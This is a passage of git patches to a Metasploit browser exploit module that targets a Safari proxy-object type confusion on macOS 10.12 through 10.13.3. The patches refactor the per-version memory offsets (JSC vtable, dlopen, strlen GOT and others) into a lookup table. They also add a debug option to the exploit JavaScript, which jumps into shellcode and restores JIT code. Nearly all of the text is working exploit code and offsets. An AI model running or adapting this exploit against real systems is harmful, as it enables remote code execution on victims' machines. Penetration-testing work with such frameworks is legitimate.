:confstr => '0x000024fc', + :strlen => '0x00001440', + :strlen_got => '0xee8', + }, + '10.13.3' => { + :jsc_vtab => '0xe5e8', + :dyld_stub_loader => '0x1278', + :dlopen => '0x2e30', + :confstr => '0x24dc', + :strlen => '0x1420', + :strlen_got => '0xee0', + }, + } + end + def exploit_data(directory, file) path = ::File.join Msf::Config.data_directory, 'exploits', directory, file ::File.binread path @@ -66,35 +95,22 @@ class MetasploitModule < Msf::Exploit::Remote def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ - mac_osx_version = Gem::Version.new($1.gsub("_", ".")) + version = $1.gsub("_", ".") + mac_osx_version = Gem::Version.new(version) if mac_osx_version >= Gem::Version.new('10.13.4') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif mac_osx_version < Gem::Version.new('10.12') print_warning "macOS version #{mac_osx_version} is not vulnerable" - elsif mac_osx_version == Gem::Version.new('10.12.6') - return ''' -const JSC_VTAB_OFFSET = 0xd8d8; -const DYLD_STUB_LOADER_OFFSET = 0x00001168; -const DLOPEN_OFFSET = 0x000027f7; -const CONFSTR_OFFSET = 0x00002c84; -const STRLEN_OFFSET = 0x00001b40; -const STRLEN_GOT_OFFSET = 0xdc0;''' - elsif mac_osx_version == Gem::Version.new('10.13') - return ''' -const JSC_VTAB_OFFSET = 0xe5f8; -const DYLD_STUB_LOADER_OFFSET = 0x12a8; -const STRLEN_GOT_OFFSET = 0xee8; -const STRLEN_OFFSET = 0x1440; -const CONFSTR_OFFSET = 0x24fc; -const DLOPEN_OFFSET = 0x2e60;''' - elsif mac_osx_version == Gem::Version.new('10.13.3') - return ''' -const JSC_VTAB_OFFSET = 0xe5e8; -const DYLD_STUB_LOADER_OFFSET = 0x1278; -const STRLEN_GOT_OFFSET = 0xee0; -const STRLEN_OFFSET = 0x1420; -const CONFSTR_OFFSET = 0x24dc; -const DLOPEN_OFFSET = 0x2e30;''' + elsif offset_table.key?(version) + offset = offset_table[version] + return <<-EOF +const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]}; +const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]}; +const DLOPEN_OFFSET = #{offset[:dlopen]}; +const CONFSTR_OFFSET = #{offset[:confstr]}; +const STRLEN_OFFSET = #{offset[:strlen]}; +const STRLEN_GOT_OFFSET = #{offset[:strlen_got]}; +EOF else print_warning "No offsets for version #{mac_osx_version}" end From 3829cc11bbd15da73fef11bad9eb74858e168cc2 Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 20 Nov 2018 17:57:33 +0800 Subject: [PATCH 5/5] add DEBUG_EXPLOIT option --- .../osx/browser/safari_proxy_object_type_confusion.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb index 168c50f738..9c098cca67 100644 --- a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb +++ b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb @@ -41,6 +41,9 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Mar 15 2018')) + register_advanced_options([ + OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), + ]) end def offset_table @@ -470,10 +473,11 @@ function pwn() { print("[!] Jumping into shellcode..."); var res = func(); - if (res === 0) + if (res === 0) { print("[+] Shellcode executed sucessfully!"); - else + } else { print("[-] Shellcode failed to execute: error " + res); + } memory.write(codeAddr, origCode); print("[*] Restored previous JIT code"); @@ -497,6 +501,9 @@ ready.then(function() { ^ + unless datastore['DEBUG_EXPLOIT'] + html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') + end send_response(cli, html, {'Content-Type'=>'text/html'}) end